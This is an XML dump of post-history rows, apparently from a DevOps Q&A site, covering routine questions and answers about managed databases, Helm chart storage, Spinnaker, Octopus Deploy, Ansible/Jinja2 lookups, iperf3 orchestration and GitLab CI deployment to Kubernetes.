  <row Id="41624" PostHistoryTypeId="2" PostId="13535" RevisionGUID="80400864-576d-451b-9c7f-f5fb3989977f" CreationDate="2021-03-12T20:03:23.413" UserId="13" Text="The choice of the approach is a risk assessment, if one of the DB client (application) goes wild and bring your server instance down, what is the cost in term of human hours lost during the outage ? &#xD;&#xA;&#xD;&#xA;If you run the DB yourself instead of managed you have to include your time costs to update it, backup it, monitoring it, etc. is it really cheaper ? &#xD;&#xA;&#xD;&#xA;All this is very company specific and need to take into account the human cost, does a staging environment down block 1 or 80 devs ? Are the devs junior or senior ? The cost per hour of outage change a lot from these simple two metrics.&#xD;&#xA;&#xD;&#xA;At the end of the day, that's a judgement on accepted risk of outage and capacity to restart versus administration time to avoid the outage for which there's no magical mathematics formula." ContentLicense="CC BY-SA 4.0" />
  <row Id="41625" PostHistoryTypeId="5" PostId="13533" RevisionGUID="604f8dc5-cf70-4371-be99-4849f391b202" CreationDate="2021-03-12T20:40:01.037" UserId="13139" Comment="Improve formatting" Text="Even better check this out:&#xD;&#xA;&#xD;&#xA;    aws ec2 describe-instances | jq '.Reservations[] | .Instances[] | {PrivateAddress: .PrivateIpAddress, Tags: .Tags, KeyName: .KeyName, Tags: .Tags, RunningState: .State, InstanceId: .InstanceId, SecurityGroups: .SecurityGroups}'&#xD;&#xA;&#xD;&#xA;You don't need to know anything this way ... but you need to install `jq`, to chomp the JSON o/p just right. &#xD;&#xA;&#xD;&#xA;A lot of the elements there could be removed I guess ... tags, key names, running state, etc." ContentLicense="CC BY-SA 4.0" />
  <row Id="41626" PostHistoryTypeId="24" PostId="13533" RevisionGUID="604f8dc5-cf70-4371-be99-4849f391b202" CreationDate="2021-03-12T20:40:01.037" Comment="Proposed by 13139 approved by 354, 40 edit id of 1351" ContentLicense="CC BY-SA 4.0" />
  <row Id="41627" PostHistoryTypeId="2" PostId="13536" RevisionGUID="cc04e7c8-dd46-404d-b94b-85eef7a2a6c3" CreationDate="2021-03-12T21:10:56.803" UserId="24678" Text="I'm relatively new to Helm, and just finish working on my generic microservice Helm chart that I want to be able to use for our different microservices. As far as storing a Helm package in a repo, what are the pros/cons of storing a Helm package in a Git repo vs. an Artifactory/Nexus Helm repo? What would be the workflow of one vs. the other for example?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41628" PostHistoryTypeId="1" PostId="13536" RevisionGUID="cc04e7c8-dd46-404d-b94b-85eef7a2a6c3" CreationDate="2021-03-12T21:10:56.803" UserId="24678" Text="Git repo vs. Artifactory/Nexus repo for storing Helm charts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41629" PostHistoryTypeId="3" PostId="13536" RevisionGUID="cc04e7c8-dd46-404d-b94b-85eef7a2a6c3" CreationDate="2021-03-12T21:10:56.803" UserId="24678" Text="&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41631" PostHistoryTypeId="2" PostId="13537" RevisionGUID="c7e6c51f-0449-4dc2-b4ac-162e1f4539c3" CreationDate="2021-03-12T22:05:25.577" UserId="6162" Text="&gt;Managed DBs - I totally get their advantages and I'm a huge fan. But they are expensive. How many instances should be deployed? Let's assume that I have 5 independent projects and each project has dev/staging/prod environments. Should I have 15 DB servers (instances) running? Or can I perhaps run one DB instance and serve dev/staging environments from there and keep prod instances seperate? Important: I mean database server instances, not databases.&#xD;&#xA;&#xD;&#xA;I agree, this would give you too much overhead and it will be expensive. I would go for a single regional database server instance per environment. It would be good if a DBA could maintain it and setup proper backup and disaster recovery.&#xD;&#xA;&#xD;&#xA;Remember, _microservices_ should all have their own database. But this is _logical database_, e.g. typically a _schema_ or _logical database_ inside the instance. Each _microservice_ should probably has its own dedicated _database user_ as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="41632" PostHistoryTypeId="2" PostId="13538" RevisionGUID="d553c866-22b3-4c0e-8947-542f30f55177" CreationDate="2021-03-12T22:55:06.187" UserId="8616" Text="I was not able to find how to *hide* a stage, however I found one can skip it using `stageEnabled` [1].&#xD;&#xA;&#xD;&#xA;It takes a Spring Language Expression like so:&#xD;&#xA;&#xD;&#xA;```json&#xD;&#xA;{&#xD;&#xA;  &quot;stageEnabled&quot;: {&#xD;&#xA;    &quot;expression&quot;: &quot;false&quot;, // you can also use SpEL, e.g. ${someBoolean}&#xD;&#xA;    &quot;type&quot;: &quot;expression&quot;&#xD;&#xA;  },&#xD;&#xA;  &quot;completeOtherBranchesThenFail&quot;: true,&#xD;&#xA;  &quot;continuePipeline&quot;: false,&#xD;&#xA;  &quot;failPipeline&quot;: false,&#xD;&#xA;  &quot;parameters&quot;: {&#xD;&#xA;    &quot;FOO&quot;: &quot;bar&quot;&#xD;&#xA;  },&#xD;&#xA;  &quot;type&quot;: &quot;jenkins&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Or from the UI editor: `Execution Options` &gt; `Conditional on Expression` &gt; Enter `false` [2].&#xD;&#xA;&#xD;&#xA;1. https://docs.armory.io/docs/spinnaker-user-guides/using-dinghy/#stage-fields&#xD;&#xA;2. https://spinnaker.io/guides/user/pipeline/expressions/#dynamically-skip-a-stage" ContentLicense="CC BY-SA 4.0" />
  <row Id="41634" PostHistoryTypeId="50" PostId="3247" RevisionGUID="f7054f2b-8427-4e70-a1b8-928e0ce642d3" CreationDate="2021-03-13T13:02:11.123" UserId="-1" />
  <row Id="41635" PostHistoryTypeId="2" PostId="13539" RevisionGUID="788a9db8-8b22-4ab4-bff7-22acc2f2fbfa" CreationDate="2021-03-13T17:37:50.110" UserId="19849" Text="I have a GitHub project that I'm using to trigger new releases on Octopus. I can see triggers for machine changes, or timed things, but not specifically when a new release is created on GitHub. This seems odd, certainly Azure offers it.&#xD;&#xA;&#xD;&#xA;Does GitHub need to be configured to provide a feed, or is it possible for Octopus to check for new releases on GitHub and then use that to trigger a new release?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41636" PostHistoryTypeId="1" PostId="13539" RevisionGUID="788a9db8-8b22-4ab4-bff7-22acc2f2fbfa" CreationDate="2021-03-13T17:37:50.110" UserId="19849" Text="How to make Octopus Deploy trigger a new release when a new release made on GitHub?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41637" PostHistoryTypeId="3" PostId="13539" RevisionGUID="788a9db8-8b22-4ab4-bff7-22acc2f2fbfa" CreationDate="2021-03-13T17:37:50.110" UserId="19849" Text="&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41638" PostHistoryTypeId="2" PostId="13540" RevisionGUID="9b27a7fa-9e8f-49aa-89d1-04809a728cff" CreationDate="2021-03-13T17:50:50.170" UserId="19849" Text="Is there a way that I can tell Octopus to take its code from Bitbucket and not GitHub (without using Bitbucket's pipelines)? I couldn't anything under community steps that would let me do that (somewhat surprisingly)." ContentLicense="CC BY-SA 4.0" />
  <row Id="41639" PostHistoryTypeId="1" PostId="13540" RevisionGUID="9b27a7fa-9e8f-49aa-89d1-04809a728cff" CreationDate="2021-03-13T17:50:50.170" UserId="19849" Text="How to get code from Bitbucket via Octopus?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41640" PostHistoryTypeId="3" PostId="13540" RevisionGUID="9b27a7fa-9e8f-49aa-89d1-04809a728cff" CreationDate="2021-03-13T17:50:50.170" UserId="19849" Text="&lt;automation&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41642" PostHistoryTypeId="50" PostId="12579" RevisionGUID="7335bd85-5f79-4981-b870-5ddec7d5d18e" CreationDate="2021-03-14T16:07:35.813" UserId="-1" />
  <row Id="41643" PostHistoryTypeId="2" PostId="13541" RevisionGUID="7d4949cb-81b8-4b62-af18-d89c609a059f" CreationDate="2021-03-14T18:29:13.207" UserId="26596" Text="Does anyone know of a name for the practice of maintaining $USER/$feature branches, or any discussion of git flows that use that pattern?&#xD;&#xA;&#xD;&#xA;We're experimenting with a workflow that involves each team member maintaining a $USER/$feature branch, adding their own commits and merging from others' branches until they all match, at which point we merge to base.  We're finding this works well for consensus-building on how a feature should work and be implemented.  It also parallelizes code reviews and helps avoid some of the other bottlenecks of a conventional release or deployment process.  &#xD;&#xA;&#xD;&#xA;If I had to name this, I'd call it something like &quot;consensus flow&quot;, but that's just me.  Has this pattern already been in use for a while elsewhere and my google fu is simply failing me?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41644" PostHistoryTypeId="1" PostId="13541" RevisionGUID="7d4949cb-81b8-4b62-af18-d89c609a059f" CreationDate="2021-03-14T18:29:13.207" UserId="26596" Text="Any prior art for building deployment consensus in $USER/$feature git branches?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41645" PostHistoryTypeId="3" PostId="13541" RevisionGUID="7d4949cb-81b8-4b62-af18-d89c609a059f" CreationDate="2021-03-14T18:29:13.207" UserId="26596" Text="&lt;git&gt;&lt;deployment&gt;&lt;release-management&gt;&lt;workflow&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41646" PostHistoryTypeId="2" PostId="13542" RevisionGUID="dd2a1374-6598-48c2-9a05-b9b82ba19f50" CreationDate="2021-03-14T18:43:09.140" UserId="24649" Text="I am trying to configure [loki-stack using a helm chart][1] to my k8s cluster.&#xD;&#xA;&#xD;&#xA;Since my k8s cluster uses CRIO and not docker (which is common nowdays) I need to change the `pipeline_stages:` config map to use [`cri: {}`][2] instead of `docker: {}` to parse the logs properly.&#xD;&#xA;&#xD;&#xA;How do I change the helm chart so that `cri: {}` is used by default instead of `docker: {}` in all the `pipeline_stages:`? many thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/grafana/helm-charts/tree/main/charts/loki-stack&#xD;&#xA;  [2]: https://grafana.com/docs/loki/latest/clients/promtail/stages/cri/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41647" PostHistoryTypeId="1" PostId="13542" RevisionGUID="dd2a1374-6598-48c2-9a05-b9b82ba19f50" CreationDate="2021-03-14T18:43:09.140" UserId="24649" Text="How to deploy loki-stack helm chart with CRIO?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41648" PostHistoryTypeId="3" PostId="13542" RevisionGUID="dd2a1374-6598-48c2-9a05-b9b82ba19f50" CreationDate="2021-03-14T18:43:09.140" UserId="24649" Text="&lt;kubernetes&gt;&lt;helm&gt;&lt;logging&gt;&lt;grafana&gt;&lt;kubernetes-helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41649" PostHistoryTypeId="2" PostId="13543" RevisionGUID="8033c8d7-e7c8-47be-b9bd-3f6193f002ac" CreationDate="2021-03-14T19:05:11.620" UserId="26596" Text="This is conventionally called a watchdog, deadman, or health check.  Bruce's comment is good, including the part about a raspberry pi.  Other than signing up for a third-party service, there are also a bunch of phone apps that will do the pinging and/or http fetch and HTML parsing for you, right from your phone, providing you with a notification and/or audio alert when a condition isn't met. Since you're a one-man shop, using your own phone isn't substantially worse in terms of being a single point of failure, though you'll want to have a migration plan for when and if you do grow.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41650" PostHistoryTypeId="5" PostId="13543" RevisionGUID="cdd1371e-3f63-40e0-8f56-eba4f94e357e" CreationDate="2021-03-14T19:18:44.750" UserId="26596" Comment="added 474 characters in body" Text="This is conventionally called a watchdog, deadman, or health check.  Bruce's comment is good, including the part about a raspberry pi.   You could also spin up something simple like [monit][1] in a container someplace like GCE or AWS.  &#xD;&#xA;&#xD;&#xA;Other than setting up an external service or server, there are also a bunch of phone apps that will do the pinging and/or http fetch and HTML parsing for you, right from your phone, providing you with a notification and/or audio alert when a condition isn't met. Since you're a one-man shop, using your own phone isn't substantially worse in terms of being a single point of failure, though you'll want to have a migration plan for when and if you do grow.  &#xD;&#xA;&#xD;&#xA;The thing I would probably do myself is keep the more complex monit configs on-site, summarize those on a simpler monit config from a stable IP at GCE, with a simple config on my (dynamic IP) phone watching the GCE monit.  That lets firewall rules keep things relatively private other than that summary query from the phone, and when you add a new team member they just need to add that phone app with the one query.&#xD;&#xA;&#xD;&#xA;Back in the depths of time I used to use SMTP mail for this sort of thing a lot; these days I'd prefer the phone app for a more timely notification.&#xD;&#xA;&#xD;&#xA;  [1]: https://mmonit.com/monit/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41651" PostHistoryTypeId="5" PostId="13543" RevisionGUID="b0af9dc8-d366-4cfb-8b5a-f926b2b00793" CreationDate="2021-03-14T19:24:51.420" UserId="26596" Comment="added 474 characters in body" Text="This is conventionally called a watchdog, deadman, or health check.  Bruce's comment is good, including the part about a raspberry pi.   You could also spin up something simple like [monit][1] in a container someplace like GCE or AWS.  &#xD;&#xA;&#xD;&#xA;Other than setting up an external service or server, there are also a bunch of phone apps that will do the pinging and/or http fetch and HTML parsing for you, right from your phone, providing you with a notification and/or audio alert when a condition isn't met. Since you're a one-man shop, using your own phone isn't substantially worse in terms of being a single point of failure, though you'll want to have a migration plan for when and if you do grow.  &#xD;&#xA;&#xD;&#xA;The thing I would probably do myself is keep the more complex monit configs on-site, summarize those on a simpler monit config from a stable IP at GCE, with a simple config on my (dynamic IP) phone watching the GCE monit.  That lets firewall rules keep things relatively private other than that summary query from the phone, and when you add a new team member they just need to add that phone app with the one query.  If you're comfortable with leaving the firewall rules more open, then you could skip the GCE step and just have your phone hit a summary statistic on your own server directly.&#xD;&#xA;&#xD;&#xA;Back in the depths of time I used to use SMTP mail for this sort of thing a lot; these days I'd prefer the phone app for a more timely notification.&#xD;&#xA;&#xD;&#xA;  [1]: https://mmonit.com/monit/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41652" PostHistoryTypeId="2" PostId="13544" RevisionGUID="d07f49dd-6bfc-4fd7-9e3e-e957921b72b3" CreationDate="2021-03-14T19:28:08.717" UserId="25042" Text="I am using ansible's `community.aws.iam_server_certificate_info` module to get information about a server certificate on aws ec2, and registering it as a variable **&quot;server_cert_info_result&quot;**&#xD;&#xA;&#xD;&#xA;Unfortunately, this module returns a JSON structure with a high level key that is the *actual value of the &quot;name&quot; of the server certificate*, as opposed to the more standard format of returning a list of dictionaries, one of which would be {name: &lt;actual_name_of_cert&gt;}. I have the actual name of the cert as a variable **&quot;server_ssl_cert_name&quot;** in my playbook.  This is what the module's return value looks like, with the offending key highlighted:&#xD;&#xA;```&#xD;&#xA;TASK [aws_full_deployment : Debug server cert return info] ************************************************************************************************&#xD;&#xA;ok: [localhost] =&gt; {                                                                                                                                                         &#xD;&#xA;    &quot;server_cert_info_result&quot;: {                                                                                                                                             &#xD;&#xA;        &quot;ansible_module_results&quot;: {                                                                                                                                          &#xD;&#xA;            **&quot;v6-full-deployment-SSL-Certificate&quot;**: {                                                                                                                          &#xD;&#xA;                &quot;arn&quot;: &quot;arn:aws-us-gov:iam::xxxxxxxxxxxxxxxxxxxxxxOBFUSCATED&quot;,                                         [truncated.....]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I want the **arn** value, in order to create an application elastic load balancer with and https listener.  How do I retrieve the value of the **arn**, using jinja2 filters?&#xD;&#xA;&#xD;&#xA;Things I've tried (which failed):&#xD;&#xA;&#xD;&#xA; 1. use the jinja builtin `attr` filter, which cannot accept the variable name of the cert inside it's parameter space, and throws an error.  It only accepts strings as parameters, such that trying expand a playbook variable with the normal {{ }} will not work.&#xD;&#xA;```&#xD;&#xA;- name: Debug jinja2 attr filter&#xD;&#xA;  ansible.builtin.debug:&#xD;&#xA;    msg: &quot;{{ server_cert_info_result.ansible_module_results | attr({{ server_ssl_certificate_name }} | attr('arn') }}&quot;&#xD;&#xA;  tags: list_server_certificate_info&#xD;&#xA;```&#xD;&#xA;which returns:&#xD;&#xA;```&#xD;&#xA;TASK [aws_full_deployment : Debug jinja2 attr filter] ***********************************************************************************************************************&#xD;&#xA;fatal: [localhost]: FAILED! =&gt; {&quot;msg&quot;: &quot;template error while templating string: expected token ':', got '}'. String: {{ server_cert_info_result.ansible_module_results | attr({{ server_ssl_certificate_name }} | attr('arn') }}&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA; 2. `community.builtin.json_query`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Create and debug a query for json_query&#xD;&#xA;  vars:&#xD;&#xA;    cert_arn_query: &quot;'{{ server_ssl_certificate_name }}.arn'&quot;&#xD;&#xA;  ansible.builtin.debug:&#xD;&#xA;    var: cert_arn_query&#xD;&#xA;  tags: list_server_certificate_info&#xD;&#xA;```&#xD;&#xA;Returns:&#xD;&#xA;```&#xD;&#xA;TASK [aws_full_deployment : Create and debug a query for json_query] ********************************************************************************************************&#xD;&#xA;ok: [localhost] =&gt; {&#xD;&#xA;    &quot;cert_arn_query&quot;: &quot;'v6-full-deployment-SSL-Certificate.arn'&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Debug the json_query result of the above query&#xD;&#xA;  vars:&#xD;&#xA;    cert_arn_query: &quot;'{{ server_ssl_certificate_name }}.arn'&quot;&#xD;&#xA;  ansible.builtin.debug:&#xD;&#xA;    msg: &quot;{{ server_cert_info_result.ansible_module_results | community.general.json_query(cert_arn_query) }}&quot;&#xD;&#xA;  tags: list_server_certificate_info&#xD;&#xA;```&#xD;&#xA;Which returns:&#xD;&#xA;```&#xD;&#xA;TASK [aws_full_deployment : Debug the json_query result of the above query] *************************************************************************************************&#xD;&#xA;ok: [localhost] =&gt; {&#xD;&#xA;    &quot;msg&quot;: &quot;v6-full-deployment-SSL-Certificate.arn&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;which obviously fails when I try to create the load balancer, since the json_query didn't actually retrieve the arn. Any ideas?  I may have to resort to using `ansible.builtin.command` and using the raw `awscli` call, which I believe returns the data in a format that jinja could handle.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41653" PostHistoryTypeId="1" PostId="13544" RevisionGUID="d07f49dd-6bfc-4fd7-9e3e-e957921b72b3" CreationDate="2021-03-14T19:28:08.717" UserId="25042" Text="ansible &amp; jinja2: How to reference JSON structure items whose keys are variables?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41654" PostHistoryTypeId="3" PostId="13544" RevisionGUID="d07f49dd-6bfc-4fd7-9e3e-e957921b72b3" CreationDate="2021-03-14T19:28:08.717" UserId="25042" Text="&lt;ansible&gt;&lt;amazon-ec2&gt;&lt;aws-iam&gt;&lt;jinja&gt;&lt;ansible-galaxy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41655" PostHistoryTypeId="5" PostId="13541" RevisionGUID="86b3d4b5-7fd4-495e-b4d9-fd84c907dbbb" CreationDate="2021-03-14T20:09:28.293" UserId="26596" Comment="added 3 characters in body" Text="Does anyone know of a name for the practice of maintaining $USER/$feature branches, or any discussion of git flows that use that pattern?&#xD;&#xA;&#xD;&#xA;We're experimenting with a workflow that involves each team member maintaining a $USER/$feature branch, adding their own commits and merging from others' branches until they all match, at which point we merge to base.  We're finding this works well for consensus-building on how a feature should work and be implemented.  It also parallelizes code reviews and helps avoid some of the other downsides of a single-threaded release or deployment process.  &#xD;&#xA;&#xD;&#xA;If I had to name this, I'd call it something like &quot;consensus flow&quot;, but that's just me.  Has this pattern already been in use for a while elsewhere and my google fu is simply failing me?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41656" PostHistoryTypeId="2" PostId="13545" RevisionGUID="de9cfce0-c380-4071-94ef-cd0c9159dcb9" CreationDate="2021-03-14T20:15:21.303" UserId="26597" Text="Don't nest moustaches. Once you're in a Jinja context, you should reference variables by name without any further delimiters.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Debug jinja2 attr filter&#xD;&#xA;  ansible.builtin.debug:&#xD;&#xA;    msg: &quot;{{ server_cert_info_result.ansible_module_results | attr(server_ssl_certificate_name) | attr('arn') }}&quot;&#xD;&#xA;  tags: list_server_certificate_info&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Using standard attribute access syntax can be a lot easier to read than the `attr()` filter:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Debug jinja2&#xD;&#xA;  ansible.builtin.debug:&#xD;&#xA;    msg: &quot;{{ server_cert_info_result.ansible_module_results[server_ssl_certificate_name].arn }}&quot;&#xD;&#xA;  tags: list_server_certificate_info&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41657" PostHistoryTypeId="2" PostId="13546" RevisionGUID="01832921-4ee1-423d-8e2a-624dc2ddc69d" CreationDate="2021-03-14T20:15:58.273" UserId="26598" Text="I think you don't need to do anything special:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;&quot;{{ server_cert_info_result.ansible_module_results[server_ssl_cert_name].arn }}&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41658" PostHistoryTypeId="5" PostId="13541" RevisionGUID="ecfeb2ce-3087-4a86-8c12-a7d65ff408ad" CreationDate="2021-03-14T20:16:23.837" UserId="26596" Comment="deleted 6 characters in body" Text="Does anyone know of a name for the practice of maintaining $USER/$feature branches, or any discussion of git flows that use that pattern?&#xD;&#xA;&#xD;&#xA;We're experimenting with a workflow that involves each team member maintaining a $USER/$feature branch, adding their own commits and merging from others' branches until they all match, at which point we merge to base.  We're finding this works well for consensus-building on how a feature works as well as cross-training on how it's implemented.  It also parallelizes code reviews and helps avoid some of the other downsides of a single-threaded release or deployment process.  &#xD;&#xA;&#xD;&#xA;If I had to name this, I'd call it something like &quot;consensus flow&quot;, but that's just me.  Has this pattern already been in use for a while elsewhere and my google fu is simply failing me?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41659" PostHistoryTypeId="2" PostId="13547" RevisionGUID="339727b0-c242-4a9b-b44b-3708593431e5" CreationDate="2021-03-15T07:52:01.867" UserId="26597" Text="The `hostnames` parameter controls what the plugin uses as the host name. It accepts a list of attributes, and will use the first one that the instance has defined:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;hostnames:&#xD;&#xA;  - private-dns-name&#xD;&#xA;  - private-ip-address&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can also set the `ansible_host` variable using `compose`. This changes the connection target without modifying the inventory hostname:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;compose:&#xD;&#xA;  # Note the underscores; this functionality uses the Ansible variable names instead of the raw AWS attributes.&#xD;&#xA;  ansible_host: private_ip_address&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41661" PostHistoryTypeId="2" PostId="13549" RevisionGUID="2260f8c8-25c7-46ad-9124-308b2d2d48ec" CreationDate="2021-03-15T10:47:09.393" UserId="26605" Text="I'm trying to run two simple tasks&#xD;&#xA;&#xD;&#xA;`Task A` starts an Ipref3 server and waits for a client to connect  &#xD;&#xA;`Task B` starts to run from *host-1* until the given timeout  &#xD;&#xA;&#xD;&#xA;once `Task B (host-1)` is over another `Task B` run from host-2  &#xD;&#xA;&#xD;&#xA;`Task B` starts to run from *host-2* until the given timeout   &#xD;&#xA;&#xD;&#xA;What is a good approach to orchestrating this use-case?&#xD;&#xA;&#xD;&#xA;**This is what I tried** &#xD;&#xA;&#xD;&#xA;`Task B` runs the client from multiple hosts (host-1, host-2, ..) &#xD;&#xA;&#xD;&#xA;    - name: Run iperf3 client&#xD;&#xA;      win_command: iperf3 -c {{ iperf_server }} -t {{ iperf_time }} &#xD;&#xA;      args:&#xD;&#xA;        chdir: &quot;{{ iperf_dest }}&quot;&#xD;&#xA;      register: iperf3_out&#xD;&#xA;    &#xD;&#xA;    - debug:&#xD;&#xA;        var: iperf3_out.stdout&#xD;&#xA;&#xD;&#xA;`Task A` run the server &#xD;&#xA;&#xD;&#xA;    - name: Start iperf3 server&#xD;&#xA;      shell: iperf3 --server&#xD;&#xA;      async: &quot;{{ iperf_async }}&quot; # iperf_async = iperf_time + 10&#xD;&#xA;      poll: &quot;{{ iperf_poll }}&quot;   # iperf_poll  = 0  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is there a way to know when to confirm `Task A` is finished before I move to the next task. &#xD;&#xA;&#xD;&#xA;NOTE: Order of execution is important Server (`Task A`) needs to run before the client (`Task B`)" ContentLicense="CC BY-SA 4.0" />
  <row Id="41662" PostHistoryTypeId="1" PostId="13549" RevisionGUID="2260f8c8-25c7-46ad-9124-308b2d2d48ec" CreationDate="2021-03-15T10:47:09.393" UserId="26605" Text="Problem with Ansible Asynchronous actions" ContentLicense="CC BY-SA 4.0" />
  <row Id="41663" PostHistoryTypeId="3" PostId="13549" RevisionGUID="2260f8c8-25c7-46ad-9124-308b2d2d48ec" CreationDate="2021-03-15T10:47:09.393" UserId="26605" Text="&lt;ansible&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41665" PostHistoryTypeId="2" PostId="13550" RevisionGUID="16de23d2-7a7e-4471-a042-bbf161c4b80b" CreationDate="2021-03-15T11:01:58.683" UserId="19154" Text="My conclusion after additional research and Preston Martin answer: &lt;br&gt;&#xD;&#xA;It depends. &lt;br&gt;&#xD;&#xA;If the workloads doesn't require more resources than the maximum supported by the service:&lt;br&gt;&#xD;&#xA;maximum horizonal and vertical (instance type) scale of the servers. &lt;br&gt;&#xD;&#xA;If it does, the data should be distributed across multiple managed database clusters. &lt;br&gt;&#xD;&#xA;If that doesn't meet the requirements, this solution should help: &lt;br&gt;&#xD;&#xA;[Vitess][1]&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://vitess.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41666" PostHistoryTypeId="2" PostId="13551" RevisionGUID="90a39b69-9834-45b4-8776-3c54407e614a" CreationDate="2021-03-15T11:28:13.070" UserId="26608" Text="I have node.js application that I need to deploy to exising kubernetes cluster.&#xD;&#xA;&#xD;&#xA;The cluster is setup using `kops` on AWS.&#xD;&#xA;&#xD;&#xA;I have created `.gitlab-ci.yml` file for building docker images.&#xD;&#xA;&#xD;&#xA;So, whenever a change is pushed to either `master` or `develop` branch. It will build the docker image.&#xD;&#xA;&#xD;&#xA;Now, I have to deploy it  to exisitng kubernetes cluster. I have already followed steps mentioned [here][1] to add existing cluster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For now, I am using shared runner.&#xD;&#xA;&#xD;&#xA;*How can I integrate kubernetes deployment after image is built with gitlab ci/cd to deploy on aws (cluster is created with kops)?*&#xD;&#xA;&#xD;&#xA;*For registry I am using gitlab's container registry not docker hub.*&#xD;&#xA;&#xD;&#xA;I have tried below `gitlab-ci.yaml` file,&#xD;&#xA;&#xD;&#xA;*gitlab-ci.yaml*&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;stages:&#xD;&#xA;  - docker-build&#xD;&#xA;  - deploy&#xD;&#xA;&#xD;&#xA;docker-build-master:&#xD;&#xA;  image: docker:latest&#xD;&#xA;  stage: docker-build&#xD;&#xA;  services:&#xD;&#xA;    - docker:dind&#xD;&#xA;  before_script:&#xD;&#xA;    - docker login -u &quot;$CI_REGISTRY_USER&quot; -p &quot;$CI_REGISTRY_PASSWORD&quot; $CI_REGISTRY&#xD;&#xA;  script:&#xD;&#xA;    - docker build --pull -t &quot;$CI_REGISTRY_IMAGE:prod&quot; .&#xD;&#xA;    - docker push &quot;$CI_REGISTRY_IMAGE:prod&quot;&#xD;&#xA;  only:&#xD;&#xA;    - master&#xD;&#xA;&#xD;&#xA;deploy-prod:&#xD;&#xA;  stage: deploy&#xD;&#xA;  image: roffe/kubectl&#xD;&#xA;  script:&#xD;&#xA;    - kubectl apply -f scheduler-deployment.yaml&#xD;&#xA;  only:&#xD;&#xA;    - master&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;docker-build-dev:&#xD;&#xA;  image: docker:latest&#xD;&#xA;  stage: docker-build&#xD;&#xA;  services:&#xD;&#xA;    - docker:dind&#xD;&#xA;  before_script:&#xD;&#xA;    - docker login -u &quot;$CI_REGISTRY_USER&quot; -p &quot;$CI_REGISTRY_PASSWORD&quot; $CI_REGISTRY&#xD;&#xA;  script:&#xD;&#xA;    - docker build --pull -t &quot;$CI_REGISTRY_IMAGE:dev&quot; .&#xD;&#xA;    - docker push &quot;$CI_REGISTRY_IMAGE:dev&quot;&#xD;&#xA;  only:&#xD;&#xA;    - develop&#xD;&#xA;```&#xD;&#xA;I am getting below error.&#xD;&#xA;```&#xD;&#xA;roffe/kubectl with digest roffe/kubectl@sha256:ba13f8ffc55c83a7ca98a6e1337689fad8a5df418cb160fa1a741c80f42979bf ...&#xD;&#xA;$ kubectl apply -f scheduler-deployment.yaml&#xD;&#xA;error: the path &quot;scheduler-deployment.yaml&quot; does not exist&#xD;&#xA;Cleaning up file based variables&#xD;&#xA;00:01&#xD;&#xA;ERROR: Job failed: exit code 1&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;File `scheduler-deployment.yaml` does exist in the root directory.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/user/project/clusters/add_remove_clusters.html#add-existing-cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="41667" PostHistoryTypeId="1" PostId="13551" RevisionGUID="90a39b69-9834-45b4-8776-3c54407e614a" CreationDate="2021-03-15T11:28:13.070" UserId="26608" Text="Gitlab CI/CD: deploy docker image to existing kubernetes cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="41668" PostHistoryTypeId="3" PostId="13551" RevisionGUID="90a39b69-9834-45b4-8776-3c54407e614a" CreationDate="2021-03-15T11:28:13.070" UserId="26608" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;amazon-web-services&gt;&lt;continuous-integration&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
